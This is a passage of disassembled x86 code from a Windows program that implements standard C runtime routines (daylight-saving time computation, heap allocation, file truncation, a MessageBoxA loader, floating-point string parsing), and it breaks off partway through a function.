; ---------------------------------------------------------------------------
loc_425210: ; CODE XREF: sub_42501C+1EBj
; sub_42501C+1EFj
cmp byte ptr [esi], 3Ah
jnz short loc_425238
inc esi
push esi
call sub_41BEBE
pop ecx
mov ecx, dword_43F998
add ecx, eax
mov dword_43F998, ecx
loc_42522B: ; CODE XREF: sub_42501C+21Aj
mov al, [esi]
cmp al, bl
jl short loc_425238
cmp al, 39h
jg short loc_425238
inc esi
jmp short loc_42522B
; ---------------------------------------------------------------------------
loc_425238: ; CODE XREF: sub_42501C+1CCj
; sub_42501C+1F7j ...
cmp edi, ebp
jz short loc_425244
neg ecx
loc_42523E: ; DATA XREF: .packed:off_43AE10o
mov dword_43F998, ecx
loc_425244: ; CODE XREF: sub_42501C+21Ej
movsx eax, byte ptr [esi]
cmp eax, ebp
mov dword_43F99C, eax
jz short loc_42526C
push 3
push esi
push off_43FA28
call sub_41BDC0
mov eax, off_43FA28
add esp, 0Ch
and byte ptr [eax+3], 0
jmp short loc_425274
; ---------------------------------------------------------------------------
loc_42526C: ; CODE XREF: sub_42501C+10Bj
; sub_42501C+115j ...
mov eax, off_43FA28
and byte ptr [eax], 0
loc_425274: ; CODE XREF: sub_42501C+40j
; sub_42501C+124j ...
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
sub_42501C endp
; =============== S U B R O U T I N E =======================================
sub_42527A proc near ; CODE XREF: sub_422E69+A5p
arg_0 = dword ptr 4
push ebx
push esi
push edi
xor edi, edi
cmp dword_43F99C, edi
jnz short loc_42528E
loc_425287: ; CODE XREF: sub_42527A+148j
; sub_42527A+150j ...
xor eax, eax
jmp loc_4253DA
; ---------------------------------------------------------------------------
loc_42528E: ; CODE XREF: sub_42527A+Bj
mov esi, [esp+0Ch+arg_0]
push 1
pop ebx
mov eax, [esi+14h]
cmp eax, dword_43FA30
jnz short loc_4252AC
cmp eax, dword_43FA40
jz loc_4253AE
loc_4252AC: ; CODE XREF: sub_42527A+24j
cmp dword_4DE260, edi
jz loc_425384
movzx ecx, word_4DE30E
push ecx
cmp word_4DE300, di
movzx ecx, word_4DE30C
push ecx
movzx ecx, word_4DE30A
push ecx
movzx ecx, word_4DE308
push ecx
jnz short loc_4252FE
movzx ecx, word_4DE304
push edi
push ecx
movzx ecx, word_4DE306
push ecx
movzx ecx, word_4DE302
push ecx
push eax
push ebx
jmp short loc_425312
; ---------------------------------------------------------------------------
loc_4252FE: ; CODE XREF: sub_42527A+65j
movzx ecx, word_4DE306
push ecx
push edi
movzx ecx, word_4DE302
push edi
push ecx
push eax
push edi
loc_425312: ; CODE XREF: sub_42527A+82j
push ebx
call sub_425426
movzx eax, word_4DE2BA
add esp, 2Ch
cmp word_4DE2AC, di
push eax
movzx eax, word_4DE2B8
push eax
movzx eax, word_4DE2B6
push eax
movzx eax, word_4DE2B4
push eax
jnz short loc_42536C
movzx eax, word_4DE2B0
push edi
push eax
movzx eax, word_4DE2B2
push eax
movzx eax, word_4DE2AE
push eax
push dword ptr [esi+14h]
push ebx
loc_425361: ; CODE XREF: sub_42527A+108j
push edi
call sub_425426
add esp, 2Ch
jmp short loc_4253AE
; ---------------------------------------------------------------------------
loc_42536C: ; CODE XREF: sub_42527A+C8j
movzx eax, word_4DE2B2
push eax
push edi
movzx eax, word_4DE2AE
push edi
push eax
push dword ptr [esi+14h]
push edi
jmp short loc_425361
; ---------------------------------------------------------------------------
loc_425384: ; CODE XREF: sub_42527A+38j
push edi
push edi
push edi
push 2
push edi
push edi
push ebx
push 4
push eax
push ebx
push ebx
call sub_425426
push edi
push edi
push edi
push 2
push edi
push edi
push 5
push 0Ah
push dword ptr [esi+14h]
push ebx
push edi
call sub_425426
add esp, 58h
loc_4253AE: ; CODE XREF: sub_42527A+2Cj
; sub_42527A+F0j
mov edx, dword_43FA34
mov eax, dword_43FA44
mov ecx, [esi+1Ch]
cmp edx, eax
jge short loc_4253DE
cmp ecx, edx
jl loc_425287
cmp ecx, eax
jg loc_425287
cmp ecx, edx
jle short loc_4253F2
cmp ecx, eax
jge short loc_4253F2
loc_4253D8: ; CODE XREF: sub_42527A+166j
; sub_42527A+16Aj
mov eax, ebx
loc_4253DA: ; CODE XREF: sub_42527A+Fj
; sub_42527A+19Dj
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_4253DE: ; CODE XREF: sub_42527A+144j
cmp ecx, eax
jl short loc_4253D8
cmp ecx, edx
jg short loc_4253D8
cmp ecx, eax
jle short loc_4253F2
cmp ecx, edx
jl loc_425287
loc_4253F2: ; CODE XREF: sub_42527A+158j
; sub_42527A+15Cj ...
mov eax, [esi+8]
imul eax, 3Ch
add eax, [esi+4]
imul eax, 3Ch
add eax, [esi]
imul eax, 3E8h
cmp ecx, edx
jnz short loc_425419
xor ecx, ecx
cmp eax, dword_43FA38
setnl cl
loc_425415: ; CODE XREF: sub_42527A+1AAj
mov eax, ecx
jmp short loc_4253DA
; ---------------------------------------------------------------------------
loc_425419: ; CODE XREF: sub_42527A+18Ej
xor ecx, ecx
cmp eax, dword_43FA48
setl cl
jmp short loc_425415
sub_42527A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425426 proc near ; CODE XREF: sub_42527A+99p
; sub_42527A+E8p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 1
push ebx
mov ebx, [ebp+arg_8]
push esi
jnz loc_4254C1
mov eax, [ebp+arg_C]
mov [ebp+arg_8], ebx
and [ebp+arg_8], 3
mov esi, eax
jnz short loc_425451
shl esi, 2
mov eax, dword_43FA48[esi]
jmp short loc_42545A
; ---------------------------------------------------------------------------
loc_425451: ; CODE XREF: sub_425426+1Ej
shl esi, 2
mov eax, dword_43FA7C[esi]
loc_42545A: ; CODE XREF: sub_425426+29j
mov edx, ebx
lea ecx, [eax+1]
imul edx, 16Dh
lea eax, [ebx-1]
push edi
sar eax, 2
mov edi, ecx
push 7
add edi, eax
lea eax, [edx+edi-63DBh]
pop edi
cdq
idiv edi
mov eax, [ebp+arg_10]
pop edi
cmp edx, [ebp+arg_14]
jg short loc_425494
imul eax, 7
sub eax, edx
add eax, [ebp+arg_14]
lea ecx, [ecx+eax-7]
jmp short loc_42549E
; ---------------------------------------------------------------------------
loc_425494: ; CODE XREF: sub_425426+5Ej
imul eax, 7
sub eax, edx
add eax, [ebp+arg_14]
add ecx, eax
loc_42549E: ; CODE XREF: sub_425426+6Cj
cmp [ebp+arg_10], 5
jnz short loc_4254DC
cmp [ebp+arg_8], 0
jnz short loc_4254B2
mov esi, dword_43FA4C[esi]
jmp short loc_4254B8
; ---------------------------------------------------------------------------
loc_4254B2: ; CODE XREF: sub_425426+82j
mov esi, dword_43FA80[esi]
loc_4254B8: ; CODE XREF: sub_425426+8Aj
cmp ecx, esi
jle short loc_4254DC
sub ecx, 7
jmp short loc_4254DC
; ---------------------------------------------------------------------------
loc_4254C1: ; CODE XREF: sub_425426+Cj
mov eax, [ebp+arg_C]
test bl, 3
jnz short loc_4254D2
mov ecx, dword_43FA48[eax*4]
jmp short loc_4254D9
; ---------------------------------------------------------------------------
loc_4254D2: ; CODE XREF: sub_425426+A1j
mov ecx, dword_43FA7C[eax*4]
loc_4254D9: ; CODE XREF: sub_425426+AAj
add ecx, [ebp+arg_18]
loc_4254DC: ; CODE XREF: sub_425426+7Cj
; sub_425426+94j ...
cmp [ebp+arg_0], 1
jnz short loc_42550D
mov eax, [ebp+arg_1C]
mov dword_43FA34, ecx
imul eax, 3Ch
add eax, [ebp+arg_20]
mov dword_43FA30, ebx
imul eax, 3Ch
add eax, [ebp+arg_24]
imul eax, 3E8h
add eax, [ebp+arg_28]
mov dword_43FA38, eax
jmp short loc_425562
; ---------------------------------------------------------------------------
loc_42550D: ; CODE XREF: sub_425426+BAj
mov eax, [ebp+arg_1C]
mov dword_43FA44, ecx
imul eax, 3Ch
add eax, [ebp+arg_20]
imul eax, 3Ch
add eax, dword_43F9A0
add eax, [ebp+arg_24]
imul eax, 3E8h
add eax, [ebp+arg_28]
mov dword_43FA48, eax
jns short loc_425545
add eax, 5265C00h
dec ecx
mov dword_43FA48, eax
jmp short loc_425556
; ---------------------------------------------------------------------------
loc_425545: ; CODE XREF: sub_425426+110j
mov edx, 5265C00h
cmp eax, edx
jl short loc_42555C
sub eax, edx
inc ecx
mov dword_43FA48, eax
loc_425556: ; CODE XREF: sub_425426+11Dj
mov dword_43FA44, ecx
loc_42555C: ; CODE XREF: sub_425426+126j
mov dword_43FA40, ebx
loc_425562: ; CODE XREF: sub_425426+E5j
pop esi
pop ebx
pop ebp
retn
sub_425426 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425566 proc near ; CODE XREF: sub_422F2B+22p
; sub_422F2B+3Bp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
imul esi, [ebp+arg_4]
cmp esi, 0FFFFFFE0h
push edi
mov [ebp+arg_0], esi
ja short loc_425587
test esi, esi
jnz short loc_425581
push 1
pop esi
loc_425581: ; CODE XREF: sub_425566+16j
add esi, 0Fh
and esi, 0FFFFFFF0h
loc_425587: ; CODE XREF: sub_425566+12j
; sub_425566+94j
xor edi, edi
cmp esi, 0FFFFFFE0h
ja short loc_4255E6
mov eax, dword_4DF6C8
cmp eax, 3
jnz short loc_4255B2
mov eax, [ebp+arg_0]
cmp eax, dword_4DF6C0
ja short loc_4255D1
push eax
call sub_41E9CB
mov edi, eax
pop ecx
test edi, edi
jnz short loc_4255FC
jmp short loc_4255D1
; ---------------------------------------------------------------------------
loc_4255B2: ; CODE XREF: sub_425566+30j
cmp eax, 2
jnz short loc_4255D1
cmp esi, dword_43EFE4
ja short loc_4255D1
mov eax, esi
shr eax, 4
push eax
call sub_41F46E
mov edi, eax
pop ecx
test edi, edi
jnz short loc_425610
loc_4255D1: ; CODE XREF: sub_425566+3Bj
; sub_425566+4Aj ...
push esi
push 8
push dword_4DF6C4
call dword_428148 ; RtlAllocateHeap
mov edi, eax
test edi, edi
jnz short loc_42560A
loc_4255E6: ; CODE XREF: sub_425566+26j
cmp dword_4DE0B4, 0
jz short loc_42560A
push esi
call sub_41FB12
test eax, eax
pop ecx
jz short loc_425613
jmp short loc_425587
; ---------------------------------------------------------------------------
loc_4255FC: ; CODE XREF: sub_425566+48j
push [ebp+arg_0]
loc_4255FF: ; CODE XREF: sub_425566+ABj
push 0
push edi
call sub_41BD60
add esp, 0Ch
loc_42560A: ; CODE XREF: sub_425566+7Ej
; sub_425566+87j
mov eax, edi
loc_42560C: ; CODE XREF: sub_425566+AFj
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_425610: ; CODE XREF: sub_425566+69j
push esi
jmp short loc_4255FF
; ---------------------------------------------------------------------------
loc_425613: ; CODE XREF: sub_425566+92j
xor eax, eax
jmp short loc_42560C
sub_425566 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422FD0
loc_425617: ; CODE XREF: sub_422FD0+Ej
push esi
push edi
push 3
xor edi, edi
pop esi
cmp dword_4DF480, esi
jle short loc_42566A
loc_425626: ; CODE XREF: sub_422FD0+2698j
mov eax, dword_4DE464
mov eax, [eax+esi*4]
test eax, eax
jz short loc_425661
test byte ptr [eax+0Ch], 83h
jz short loc_425645
push eax
call sub_41B82B
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_425645
inc edi
loc_425645: ; CODE XREF: sub_422FD0+2666j
; sub_422FD0+2672j
cmp esi, 14h
jl short loc_425661
mov eax, dword_4DE464
push dword ptr [eax+esi*4]
call sub_41B881
mov eax, dword_4DE464
pop ecx
and dword ptr [eax+esi*4], 0
loc_425661: ; CODE XREF: sub_422FD0+2660j
; sub_422FD0+2678j
inc esi
cmp esi, dword_4DF480
jl short loc_425626
loc_42566A: ; CODE XREF: sub_422FD0+2654j
mov eax, edi
pop edi
pop esi
retn
; END OF FUNCTION CHUNK FOR sub_422FD0
; =============== S U B R O U T I N E =======================================
sub_42566F proc near ; CODE XREF: sub_423756+2Bp
arg_0 = dword ptr 4
push 4
push 0
push [esp+8+arg_0]
call sub_425680
add esp, 0Ch
retn
sub_42566F endp
; =============== S U B R O U T I N E =======================================
sub_425680 proc near ; CODE XREF: sub_42566F+8p
arg_0 = byte ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
movzx eax, [esp+arg_0]
mov cl, [esp+arg_8]
test byte_4DF5A1[eax], cl
jnz short loc_4256AD
cmp [esp+arg_4], 0
jz short loc_4256A6
movzx eax, word_43EFF2[eax*2]
and eax, [esp+arg_4]
jmp short loc_4256A8
; ---------------------------------------------------------------------------
loc_4256A6: ; CODE XREF: sub_425680+16j
xor eax, eax
loc_4256A8: ; CODE XREF: sub_425680+24j
test eax, eax
jnz short loc_4256AD
retn
; ---------------------------------------------------------------------------
loc_4256AD: ; CODE XREF: sub_425680+Fj
; sub_425680+2Aj
push 1
pop eax
retn
sub_425680 endp
; =============== S U B R O U T I N E =======================================
sub_4256B1 proc near ; CODE XREF: sub_423EAD+11Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
xor ebx, ebx
cmp dword_4DE31C, ebx
push esi
push edi
jnz short loc_425700
push offset aUser32_dll ; "user32.dll"
call dword_4280B8 ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_425736
mov esi, dword_4280BC
push offset aMessageboxa ; "MessageBoxA"
push edi
call esi ; GetProcAddress
test eax, eax
mov dword_4DE31C, eax
jz short loc_425736
push offset aGetactivewindo ; "GetActiveWindow"
push edi
call esi ; GetProcAddress
push offset aGetlastactivep ; "GetLastActivePopup"
push edi
mov dword_4DE320, eax
call esi ; GetProcAddress
mov dword_4DE324, eax
loc_425700: ; CODE XREF: sub_4256B1+Bj
mov eax, dword_4DE320
test eax, eax
jz short loc_42571F
call eax ; GetActiveWindow
mov ebx, eax
test ebx, ebx
jz short loc_42571F
mov eax, dword_4DE324
test eax, eax
jz short loc_42571F
push ebx
call eax ; GetLastActivePopup
mov ebx, eax
loc_42571F: ; CODE XREF: sub_4256B1+56j
; sub_4256B1+5Ej ...
push [esp+0Ch+arg_8]
push [esp+10h+arg_4]
push [esp+14h+arg_0]
push ebx
call dword_4DE31C ; MessageBoxA
loc_425732: ; CODE XREF: sub_4256B1+87j
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_425736: ; CODE XREF: sub_4256B1+1Cj
; sub_4256B1+33j
xor eax, eax
jmp short loc_425732
sub_4256B1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42573A proc near ; CODE XREF: sub_42425E+271p
var_1000 = byte ptr -1000h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1000h
call sub_41C2F0
push ebx
mov ebx, [ebp+arg_0]
push esi
xor esi, esi
cmp ebx, dword_4DE460
jnb loc_42586F
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 1Fh
mov eax, dword_4DE360[eax*4]
test byte ptr [eax+ecx*8+4], 1
jz loc_42586F
push 1
push esi
push ebx
call sub_422FE4
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz loc_425879
push 2
push esi
push ebx
call sub_422FE4
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz loc_425879
push edi
mov edi, [ebp+arg_4]
sub edi, eax
test edi, edi
jle short loc_42581C
push 1000h
lea eax, [ebp+var_1000]
push esi
push eax
call sub_41BD60
push 8000h
push ebx
call sub_426374
add esp, 14h
mov [ebp+arg_4], eax
loc_4257D0: ; CODE XREF: sub_42573A+BDj
mov eax, 1000h
cmp edi, eax
jge short loc_4257DB
mov eax, edi
loc_4257DB: ; CODE XREF: sub_42573A+9Dj
push eax
lea eax, [ebp+var_1000]
push eax
push ebx
call sub_4231D6
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jz short loc_4257F9
sub edi, eax
test edi, edi
jle short loc_42580F
jmp short loc_4257D0
; ---------------------------------------------------------------------------
loc_4257F9: ; CODE XREF: sub_42573A+B5j
cmp dword_4DE030, 5
jnz short loc_42580C
mov dword_4DE02C, 0Dh
loc_42580C: ; CODE XREF: sub_42573A+C6j
or esi, 0FFFFFFFFh
loc_42580F: ; CODE XREF: sub_42573A+BBj
push [ebp+arg_4]
push ebx
call sub_426374
pop ecx
pop ecx
jmp short loc_42585C
; ---------------------------------------------------------------------------
loc_42581C: ; CODE XREF: sub_42573A+71j
jge short loc_42585C
push 0
push [ebp+arg_4]
push ebx
call sub_422FE4
push ebx
call sub_424186
add esp, 10h
push eax
call dword_428010 ; SetEndOfFile
mov esi, eax
neg esi
sbb esi, esi
neg esi
dec esi
cmp esi, 0FFFFFFFFh
jnz short loc_42585C
mov dword_4DE02C, 0Dh
call dword_42808C ; RtlGetLastWin32Error
mov dword_4DE030, eax
loc_42585C: ; CODE XREF: sub_42573A+E0j
; sub_42573A:loc_42581Cj ...
push 0
push [ebp+arg_0]
push ebx
call sub_422FE4
add esp, 0Ch
mov eax, esi
pop edi
jmp short loc_42587C
; ---------------------------------------------------------------------------
loc_42586F: ; CODE XREF: sub_42573A+1Aj
; sub_42573A+36j
mov dword_4DE02C, 9
loc_425879: ; CODE XREF: sub_42573A+4Ej
; sub_42573A+63j
or eax, 0FFFFFFFFh
loc_42587C: ; CODE XREF: sub_42573A+133j
pop esi
pop ebx
leave
retn
sub_42573A endp
; =============== S U B R O U T I N E =======================================
sub_425880 proc near ; CODE XREF: sub_4249FF+2Bp
; sub_4249FF+42p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_0]
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
lea ecx, [edx+esi]
cmp ecx, edx
jb short loc_425896
cmp ecx, esi
jnb short loc_425899
loc_425896: ; CODE XREF: sub_425880+10j
push 1
pop eax
loc_425899: ; CODE XREF: sub_425880+14j
mov edx, [esp+4+arg_8]
pop esi
mov [edx], ecx
retn
sub_425880 endp
; =============== S U B R O U T I N E =======================================
sub_4258A1 proc near ; CODE XREF: sub_42595A+40p
; sub_42595A+61p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
mov edi, [esp+8+arg_4]
push esi
push dword ptr [edi]
push dword ptr [esi]
call sub_425880
add esp, 0Ch
test eax, eax
jz short loc_4258D3
lea eax, [esi+4]
push eax
push 1
push dword ptr [eax]
call sub_425880
add esp, 0Ch
test eax, eax
jz short loc_4258D3
inc dword ptr [esi+8]
loc_4258D3: ; CODE XREF: sub_4258A1+19j
; sub_4258A1+2Dj
lea eax, [esi+4]
push eax
push dword ptr [edi+4]
push dword ptr [eax]
call sub_425880
add esp, 0Ch
test eax, eax
jz short loc_4258EB
inc dword ptr [esi+8]
loc_4258EB: ; CODE XREF: sub_4258A1+45j
lea eax, [esi+8]
push eax
push dword ptr [edi+8]
push dword ptr [eax]
call sub_425880
add esp, 0Ch
pop edi
pop esi
retn
sub_4258A1 endp
; =============== S U B R O U T I N E =======================================
sub_4258FF proc near ; CODE XREF: sub_42595A+30p
; sub_42595A+36p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov esi, [eax]
mov edi, [eax+4]
mov ecx, esi
add esi, esi
mov [eax], esi
lea esi, [edi+edi]
shr ecx, 1Fh
or esi, ecx
mov ecx, [eax+8]
mov edx, edi
mov [eax+4], esi
shr edx, 1Fh
shl ecx, 1
or ecx, edx
pop edi
mov [eax+8], ecx
pop esi
retn
sub_4258FF endp
; =============== S U B R O U T I N E =======================================
sub_42592D proc near ; CODE XREF: sub_425EF2+1C8p
; sub_4263EA+17Dp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
push edi
mov edx, [eax+8]
mov ecx, [eax+4]
mov esi, edx
mov edi, ecx
shl esi, 1Fh
shr ecx, 1
or ecx, esi
mov [eax+4], ecx
mov ecx, [eax]
shl edi, 1Fh
shr ecx, 1
shr edx, 1
or ecx, edi
pop edi
mov [eax+8], edx
mov [eax], ecx
pop esi
retn
sub_42592D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42595A proc near ; CODE XREF: sub_425A21+3CAp
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_4]
push ebx
mov ebx, [ebp+arg_8]
xor edx, edx
cmp eax, edx
push esi
mov [ebp+var_4], 404Eh
mov [ebx], edx
mov [ebx+4], edx
mov [ebx+8], edx
jbe short loc_4259CE
push edi
mov [ebp+arg_8], eax
loc_425981: ; CODE XREF: sub_42595A+6Fj
mov esi, ebx
lea edi, [ebp+var_10]
movsd
movsd
push ebx
movsd
call sub_4258FF
push ebx
call sub_4258FF
lea eax, [ebp+var_10]
push eax
push ebx
call sub_4258A1
push ebx
call sub_4258FF
mov eax, [ebp+arg_0]
and [ebp+var_C], 0
and [ebp+var_8], 0
movsx eax, byte ptr [eax]
mov [ebp+var_10], eax
lea eax, [ebp+var_10]
push eax
push ebx
call sub_4258A1
add esp, 1Ch
inc [ebp+arg_0]
dec [ebp+arg_8]
jnz short loc_425981
xor edx, edx
pop edi
loc_4259CE: ; CODE XREF: sub_42595A+21j
; sub_42595A+9Fj
cmp [ebx+8], edx
jnz short loc_4259FB
mov ecx, [ebx+4]
mov eax, ecx
shr eax, 10h
mov [ebx+8], eax
mov eax, [ebx]
mov esi, eax
shr esi, 10h
shl ecx, 10h
or esi, ecx
shl eax, 10h
add [ebp+var_4], 0FFF0h
mov [ebx+4], esi
mov [ebx], eax
jmp short loc_4259CE
; ---------------------------------------------------------------------------
loc_4259FB: ; CODE XREF: sub_42595A+77j
mov esi, 8000h
loc_425A00: ; CODE XREF: sub_42595A+B9j
test [ebx+8], esi
jnz short loc_425A15
push ebx
call sub_4258FF
add [ebp+var_4], 0FFFFh
pop ecx
jmp short loc_425A00
; ---------------------------------------------------------------------------
loc_425A15: ; CODE XREF: sub_42595A+A9j
mov ax, word ptr [ebp+var_4]
pop esi
mov [ebx+0Ah], ax
pop ebx
leave
retn
sub_42595A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_425A21 proc near ; CODE XREF: sub_424D48+17p
; sub_424D75+17p
var_5C = byte ptr -5Ch
var_45 = byte ptr -45h
var_40 = dword ptr -40h
var_3A = dword ptr -3Ah
var_36 = dword ptr -36h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 5Ch
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea eax, [ebp+var_5C]
push 1
mov [ebp+var_C], eax
xor eax, eax
pop edx
mov [ebp+var_28], eax
mov [ebp+var_18], edx
mov [ebp+var_4], eax
mov [ebp+var_10], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_2C], eax
mov [ebp+var_30], eax
mov [ebp+var_1C], eax
mov [ebp+var_8], eax
mov [ebp+var_14], eax
mov [ebp+arg_8], edi
loc_425A5C: ; CODE XREF: sub_425A21+52j
mov cl, [edi]
cmp cl, 20h
jz short loc_425A72
cmp cl, 9
jz short loc_425A72
cmp cl, 0Ah
jz short loc_425A72
cmp cl, 0Dh
jnz short loc_425A75
loc_425A72: ; CODE XREF: sub_425A21+40j
; sub_425A21+45j ...
inc edi
jmp short loc_425A5C
; ---------------------------------------------------------------------------
loc_425A75: ; CODE XREF: sub_425A21+4Fj
push 4
pop esi
loc_425A78: ; CODE XREF: sub_425A21+AEj
; sub_425A21+B7j ...
mov bl, [edi]
inc edi
cmp eax, 0Bh ; switch 12 cases
ja loc_425CFB ; default
; jumptable 00425A84 case 10
jmp off_425EC2[eax*4] ; switch jump
loc_425A8B: ; DATA XREF: .packed:off_425EC2o
cmp bl, 31h ; jumptable 00425A84 case 0
jl short loc_425A9C
cmp bl, 39h
jg short loc_425A9C
loc_425A95: ; CODE XREF: sub_425A21+C4j
; sub_425A21+118j
push 3
jmp loc_425CB9
; ---------------------------------------------------------------------------
loc_425A9C: ; CODE XREF: sub_425A21+6Dj
; sub_425A21+72j
cmp bl, byte_43F1F8
jnz short loc_425AAB
loc_425AA4: ; CODE XREF: sub_425A21+124j
push 5
jmp loc_425CF1
; ---------------------------------------------------------------------------
loc_425AAB: ; CODE XREF: sub_425A21+81j
movsx eax, bl
sub eax, 2Bh
jz short loc_425AD1
dec eax
dec eax
jz short loc_425AC5
sub eax, 3
jnz loc_425D94
jmp loc_425B54
; ---------------------------------------------------------------------------
loc_425AC5: ; CODE XREF: sub_425A21+94j
push 2
mov [ebp+var_28], 8000h
pop eax
jmp short loc_425A78
; ---------------------------------------------------------------------------
loc_425AD1: ; CODE XREF: sub_425A21+90j
and [ebp+var_28], 0
push 2
pop eax
jmp short loc_425A78
; ---------------------------------------------------------------------------
loc_425ADA: ; CODE XREF: sub_425A21+63j
; DATA XREF: .packed:off_425EC2o
cmp bl, 31h ; jumptable 00425A84 case 1
mov [ebp+var_10], edx
jl short loc_425AE7
cmp bl, 39h
jle short loc_425A95
loc_425AE7: ; CODE XREF: sub_425A21+BFj
cmp bl, byte_43F1F8
jz loc_425BAF
cmp bl, 2Bh
jz short loc_425B29
cmp bl, 2Dh
jz short loc_425B29
cmp bl, 30h
jz short loc_425B54
loc_425B02: ; CODE XREF: sub_425A21+207j
cmp bl, 43h
jle loc_425D94
cmp bl, 45h
jle short loc_425B22
cmp bl, 63h
jle loc_425D94
cmp bl, 65h
jg loc_425D94
loc_425B22: ; CODE XREF: sub_425A21+EDj
push 6
jmp loc_425CF1
; ---------------------------------------------------------------------------
loc_425B29: ; CODE XREF: sub_425A21+D5j
; sub_425A21+DAj ...
dec edi
push 0Bh
jmp loc_425CF1
; ---------------------------------------------------------------------------
loc_425B31: ; CODE XREF: sub_425A21+63j
; DATA XREF: .packed:off_425EC2o
cmp bl, 31h ; jumptable 00425A84 case 2
jl short loc_425B3F
cmp bl, 39h
jle loc_425A95
loc_425B3F: ; CODE XREF: sub_425A21+113j
cmp bl, byte_43F1F8
jz loc_425AA4
cmp bl, 30h
jnz loc_425D09
loc_425B54: ; CODE XREF: sub_425A21+9Fj
; sub_425A21+DFj
mov eax, edx
jmp loc_425A78
; ---------------------------------------------------------------------------
loc_425B5B: ; CODE XREF: sub_425A21+63j
; DATA XREF: .packed:off_425EC2o
mov [ebp+var_10], edx ; jumptable 00425A84 case 3
loc_425B5E: ; CODE XREF: sub_425A21+184j
cmp dword_43F1F4, edx
jle short loc_425B77
movzx eax, bl
push esi
push eax
call sub_41FD15
pop ecx
pop ecx
push 1
pop edx
jmp short loc_425B85
; ---------------------------------------------------------------------------
loc_425B77: ; CODE XREF: sub_425A21+143j
mov ecx, off_43EFE8
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_425B85: ; CODE XREF: sub_425A21+154j
test eax, eax
jz short loc_425BA7
cmp [ebp+var_4], 19h
jnb short loc_425B9F
mov eax, [ebp+var_C]
inc [ebp+var_4]
sub bl, 30h
inc [ebp+var_C]
mov [eax], bl
jmp short loc_425BA2
; ---------------------------------------------------------------------------
loc_425B9F: ; CODE XREF: sub_425A21+16Cj
inc [ebp+var_8]
loc_425BA2: ; CODE XREF: sub_425A21+17Cj
mov bl, [edi]
inc edi
jmp short loc_425B5E
; ---------------------------------------------------------------------------
loc_425BA7: ; CODE XREF: sub_425A21+166j
cmp bl, byte_43F1F8
jnz short loc_425C16
loc_425BAF: ; CODE XREF: sub_425A21+CCj
mov eax, esi
jmp loc_425A78
; ---------------------------------------------------------------------------
loc_425BB6: ; CODE XREF: sub_425A21+63j
; DATA XREF: .packed:off_425EC2o
cmp [ebp+var_4], 0 ; jumptable 00425A84 case 4
mov [ebp+var_10], edx
mov [ebp+var_24], edx
jnz short loc_425BCF
loc_425BC2: ; CODE XREF: sub_425A21+1ACj
cmp bl, 30h
jnz short loc_425BCF
dec [ebp+var_8]
mov bl, [edi]
inc edi
jmp short loc_425BC2
; ---------------------------------------------------------------------------
loc_425BCF: ; CODE XREF: sub_425A21+19Fj
; sub_425A21+1A4j ...
cmp dword_43F1F4, edx
jle short loc_425BE8
movzx eax, bl
push esi
push eax
call sub_41FD15
pop ecx
pop ecx
push 1
pop edx
jmp short loc_425BF6
; ---------------------------------------------------------------------------
loc_425BE8: ; CODE XREF: sub_425A21+1B4j
mov ecx, off_43EFE8
movzx eax, bl
mov al, [ecx+eax*2]
and eax, esi
loc_425BF6: ; CODE XREF: sub_425A21+1C5j
test eax, eax
jz short loc_425C16
cmp [ebp+var_4], 19h
jnb short loc_425C11
mov eax, [ebp+var_C]
inc [ebp+var_4]
